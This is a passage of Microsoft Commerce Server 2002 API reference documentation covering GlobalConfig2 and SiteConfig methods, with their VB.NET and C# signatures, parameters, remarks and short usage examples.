…
public void CreateServiceConfig(
  string bstrResourceName,
  string bstrConfigSchemaClass
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A String that contains the resource configuration schema class name.
[C#]
bstrResourceName
A string that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A string that contains the resource configuration schema class name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

The following table contains a list of schema classes for this method.

Administration Database Class Name | Resource Name
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_DataWarehouse_Group | Global Data Warehouse
MSCS_BizDataStore | Profiles
[Visual Basic .NET]

Example

' sMyPredictor is a String denoting the new resource name
' MSCS_Predictor is a String denoting the database class name
' oGlobalConfig is a Commerce GlobalConfig2 object
oGlobalConfig.CreateServiceConfig(sMyPredictor, MSCS_Predictor)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class

GlobalConfig2.DeleteServiceConfig


GlobalConfig2.CreateSiteConfig Method (PIA)

Use this method to create a site using the name specified in the bstrSiteName parameter. This method calls the SaveConfig method. This method is used primarily from Commerce Server Manager or by Commerce Server Site Packager. The correct ACLs are set on the entries in the Internet Information Services (IIS) metabase by Site Packager, to ensure that only site administrators can perform operations on the Admin objects.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function CreateSiteConfig(
  bstrSiteName As String
) As ISiteConfig
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public ISiteConfig CreateSiteConfig(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the new site name.
[C#]
bstrSiteName
A string that contains the new site name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object that implements the ISiteConfig interface that contains the site configuration settings.

[C#] This method returns a Microsoft.CommerceServer.Interop.Configuration.ISiteConfig interface for a SiteConfig object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMyNewSite is a string; oGlobalConfig is a Commerce GlobalConfig2 object
' oMSCSSiteConfig is a Commerce SiteConfig object
oMSCSSiteConfig = oGlobalConfig.CreateSiteConfig(sMyNewSite)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class

GlobalConfig2.DeleteSiteConfig


GlobalConfig2.DeleteServiceConfig Method (PIA)

Use this method to delete the specified resource, and to delete the Administration database association that links this resource to the site instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteServiceConfig(
  bstrServiceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteServiceConfig(
  string bstrServiceName
);

Parameters

[Visual Basic .NET]
bstrServiceName
A String that contains the name of the resource configuration object to be deleted.
[C#]
bstrServiceName
A string that contains the name of the resource configuration to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMyPredictor is the name of an existing resource
' oGlobalConfig is a Commerce GlobalConfig2 object
oGlobalConfig.DeleteServiceConfig (sMyPredictor)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class

GlobalConfig2.CreateServiceConfig


GlobalConfig2.DeleteSiteConfig Method (PIA)

Use this method to delete a site configuration object instance for the current site from the Administration database. This method is primarily used by Commerce Server Manager or by Commerce Server Site Packager.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteSiteConfig(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteSiteConfig(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
bstrSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMySiteName is an existing site name
' oGlobalConfig is a Commerce GlobalConfig2 object
oGlobalConfig.DeleteSiteConfig(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class

GlobalConfig2.CreateServiceConfig


GlobalConfig2.GetGlobalResources Method (PIA)

Use this method to retrieve a list of all the names of the resources from the Resources table in the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetGlobalResources(
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public _Recordset GetIfCollection(
);

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of a resource in the Resources table in the Administration database.

[C#] This method returns a _Recordset object. Each Field object in the recordset includes the name of a resource in the Resources table in the Administration database.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.GetIfCollection Method (PIA)

Use this method to convert values read from the Fields property into appropriate objects such as a SimpleList object or a System.Array. If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a System.Array, then a System.Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetIfCollection(
  ByRef strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object GetIfCollection(
  ref object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string to be converted.
[C#]
strList
An object that contains the encoded string to be converted.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted data in the appropriate data type.

[C#] This method returns an object containing the converted data in the appropriate data type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oObject is an Object; oEncodedString is an Object
' oGlobalConfig is a Commerce GlobalConfig2 object
oObject = oGlobalConfig.GetIfCollection(oEncodedString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.GetRefSites (PIA)

Use this method to retrieve a list of all the site names that reference the given resource from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib    ‘ for _Recordset
…
Public Function GetRefSites(
  strDisplayName As String,
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For _Recordset
…
public _Recordset GetRefSites(
  string strDisplayName,
);

Parameters

[Visual Basic .NET]
strDisplayName
A String that contains the display name of the global resource.
[C#]
strDisplayName
A string that contains the display name of the global resource.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object. Each field in the recordset includes the name of one of the sites that references the given resource.

[C#] This method returns a Recordset object. Each field in the recordset includes the name of one of the sites that references the given resource.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.GetResourcePropAttrib Method (PIA)

Use this method to get a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
…
Public Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As IDictionary
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;             //For IDictionary
…
public IDictionary GetResourcePropAttrib(
  string strResourceName,
  string strPropName
);

Parameters

[Visual Basic .NET]
strResourceName
A String that contains the resource name.
strPropName
A String that contains the resource property name.
[C#]
strResourceName
A string that contains the resource name.
strPropName
A string that contains the resource property name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an object that implements the IDictionary interface containing the key/value pairs that denote the attributes of the specified property of the specified resource.

[C#] This method returns an IDictionary interface to a Dictionary object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oGlobalConfig is a Commerce GlobalConfig2 object
dDict = _
oGlobalConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.Initialize Method (PIA)

Use this method to load the global configuration from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  Optional bstrGroupName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void Initialize(
  string bstrGroupName
);

Parameters

[Visual Basic .NET]
bstrGroupName
A String reserved for future use. This method ignores the value placed in this parameter.
[C#]
bstrGroupName
A string reserved for future use. This method ignores the value placed in this parameter.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeArrayFromSimpleList Method (PIA)

Use this method to convert the specified SimpleList object into a System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromSimpleList(
  ByRef list As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromSimpleList(
  ref object list
);

Parameters

[Visual Basic .NET]
list
An object reference to the SimpleList that you want to convert into a System.Array.
[C#]
list
A SimpleList object that you want to convert into a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted System.Array.

[C#] This method returns the converted System.Array.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyObject is an Object
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig2 object
oMyObject = oGlobalConfig.MakeArrayFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeArrayFromString Method (PIA)

Use this method to convert an encoded string read from the Fields property into a System.Array. If the encoded string does not indicate System.Array properties, then the method returns the original String that was passed into it.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromString(
  strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromString(
  object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string.
[C#]
strList
An object that contains the encoded string.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the converted System.Array or unconverted String.

[C#] This method returns an object containing the converted System.Array or unconverted string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can be used only on values exposed by the ADODB26Lib.Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object containing an encoded string read from the Fields
' property
' oArray is an Object
' oGlobalConfig is a Commerce GlobalConfig2 object
oArray = oGlobalConfig.MakeArrayFromString(oEncoded)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeSimpleListFromArray Method (PIA)

Use this method to convert a System.Array into a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeSimpleListFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeSimpleListFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array to convert.
[C#]
varArray
An object that contains the System.Array to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to the converted SimpleList object.

[C#] This method returns the converted SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' pMyArray is an Object
' varMySimpleList is a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig2 object
varMySimpleList = oGlobalConfig.MakeSimpleListFromArray(oMyArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeStringFromArray Method (PIA)

Use this method to convert a System.Array object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeStringFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array to encode.
[C#]
varArray
An object that contains the System.Array to encode.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the encoded string.

[C#] This method returns an object containing the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can be used only when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object
' oArray is an Object
' oGlobalConfig is a Commerce GlobalConfig2 object
oEncoded = oGlobalConfig.MakeStringFromArray(oArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeStringFromSimpleList Method (PIA)

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromSimpleList(
  ByRef slist As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string MakeStringFromSimpleList(
  ref object slist
);

Parameters

[Visual Basic .NET]
slist
An object reference to the SimpleList object that you want to convert into an encoded string.
[C#]
slist
A SimpleList object that you want to convert into an encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can be used only when updating values exposed by the ADODB26Lib.Fields object. The client-side disconnected ADO recordset has no support for Arrays, SimpleLists, or Objects as fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' vEncoded is a string
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig2 object
vEncoded = oGlobalConfig.MakeStringFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.SaveConfig Method (PIA)

Use this method to save the global configuration settings to the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub SaveConfig()
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void SaveConfig();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.Sites Method (PIA)

[Visual Basic .NET] Use this method to retrieve a list of all the sites available in the Administration database. This method returns an object that implements the _Recordset interface that contains a single record; the number of fields in the Fields collection is equal to the number of sites in the Commerce Server 2002 installation. Each Fields collection contains the name of one of the sites.

[C#] Use this method to retrieve a list of all the sites available in the Administration database. This method returns an ADODB26Lib._Recordset object that contains a single record; the number of fields in the Fields collection is equal to the number of sites in the Microsoft Commerce Server 2002 installation. Each Fields collection contains the name of one of the sites.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib    ‘ for _Recordset
…
Public Function Sites() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For _Recordset
…
public _Recordset Sites();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object that implements the _Recordset interface that contains a list of all the sites available in the Administration data store.

[C#] This method returns an object that implements the ADODB26Lib._Recordset interface to a Recordset containing a list of all sites available in the Administration data store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET] The Initialize method must be called before this method can be called.

[C#] The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2 Properties (PIA)

Properties

Property | Type | Description
Fields | Object | Returns group-level configuration data. This property is read-only.


GlobalConfig2.Fields Property (PIA)

The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is an ADODB26Lib.Fields object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib     ‘ for Fields
…
Public Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For Fields
…
public Fields Fields {get; }
[C#]

Property Value

This property returns a collection of ADODB26Lib.Fields objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


SiteConfig Class (PIA)

Use this object to accomplish the following:

  • Create or delete site configuration information
  • Save any updated site configuration information to the Administration database
  • Load site configuration information from the Administration database
  • Import resource configuration data to a site and export resource configuration data from a site

Methods

Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a System.Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns configuration fields, some of which hold configuration settings of resources.

Remarks

Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

Configuration Objects

Integrating Custom Resources

GlobalConfig Class

SiteConfigReadOnly Class


SiteConfig Methods (PIA)

Methods

Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a System.Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.


SiteConfig.AddRefToGroupComponent Method (PIA)

Use this method to add a reference to a global resource so that a site can access that resource. If you use this method to create a global resource, in order to read the correct property values, use the SiteConfigReadOnly object methods. To set the correct property values, use the GlobalConfig object on the global resource that is referenced by this site-level resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub AddRefToGroupComponent(
  bstrSiteResourceName As String,
  bstrGroupResourceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void AddRefToGroupComponent(
  string bstrSiteResourceName,
  string bstrGroupResourceName
);

Parameters

[Visual Basic .NET]
bstrSiteResourceName
A String that contains the name of the resource configuration object to be added to the site.
bstrGroupResourceName
A String that contains the name of the global resource configuration object to which a reference is being added.
[C#]
bstrSiteResourceName
A string that contains the name of the resource configuration object to be added to the site.
bstrGroupResourceName
A string that contains the name of the global resource configuration object to which a reference is being added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

If you use this method to create a global resource, use the SiteConfigReadOnly object methods to read the correct property values. Use the GlobalConfig object on the global resource that is referenced by this site-level resource to set the correct property values.

[Visual Basic .NET]

Example

' sSiteResName and sGlob are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.AddRefToGroupComponent(sSiteResName,sGlob)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.CreateComponentConfig Method (PIA)

Use this method to create an instance of a configuration schema class, and load it into the site recordset.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub CreateComponentConfig(
  bstrResourceName As String,
  bstrConfigSchemaClass As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void CreateComponentConfig(
  string bstrResourceName,
  string bstrConfigSchemaClass
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A String that contains the resource configuration schema class name.
[C#]
bstrResourceName
A string that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A string that contains the resource configuration schema class name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This method creates an instance of the class specified in the bstrConfigSchemaClass parameter, and sets the Name property of the instance to the name specified in the bstrConfigComponentName parameter. It loads the instance into the site recordset.

This method calls the SaveConfig method.

The following table contains a list of schema classes for this method.

Admininstration Database Class Name | Resource Name
MSCS_Catalog | Product Catalog
MSCS_AppConfigDefault | App Default Config
MSCS_TransactionConfig | Transaction Config
MSCS_Transactions | Transactions
MSCS_Content | (No longer used)
MSCS_Campaigns | Campaigns
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_Predictor_Site | (No longer used)
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_Datawarehouse_Site | Site Data Warehouse
MSCS_BizDataStore | Profiles Resource
MSCS_Address | IIS Applications (such as Retail, RetailBizDesk)
MSCS_UPMDtsTask | Profiling System DTS Task Information
[Visual Basic .NET]

Example

' sMyCatalog is a string
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.CreateComponentConfig(sMyCatalog, MSCS_Catalog)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class

SiteConfig.DeleteComponentConfig


SiteConfig.DeleteComponentConfig Method (PIA)

Use this method to delete the Administration database information for the specified resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteComponentConfig(
  bstrResourceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteComponentConfig(
  string bstrResourceName
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the name of the resource configuration object to be deleted.
[C#]
bstrResourceName
A string that contains the name of the resource associated with the Administration database information to delete.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This delete does not remove any resource-specific data other than the configuration information. For instance, deleting the Product Catalog resource will not remove the Product Catalog tables from the database, only the configuration information.

[Visual Basic .NET]

Example

' sMyResource is the name of an existing resource
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.DeleteComponentConfig (sMyResource)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class

SiteConfig.CreateComponentConfig


SiteConfig.DeleteSQLScript Method (PIA)

Use this method to delete the specified SQL script file from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteSQLScript(
  sResource As String,
  sScriptName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteSQLScript(
  string sResource,
  string sScriptName
);

Parameters

[Visual Basic .NET]
sResource
A String that contains the name of the resource that is associated with the SQL script file that is to be deleted.
sScriptName
A String that contains the name of the SQL script file to delete.
[C#]
sResource
A string that contains the name of the resource that is associated with the SQL script file that is to be deleted.
sScriptName
A string that contains the name of the SQL script file to delete.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

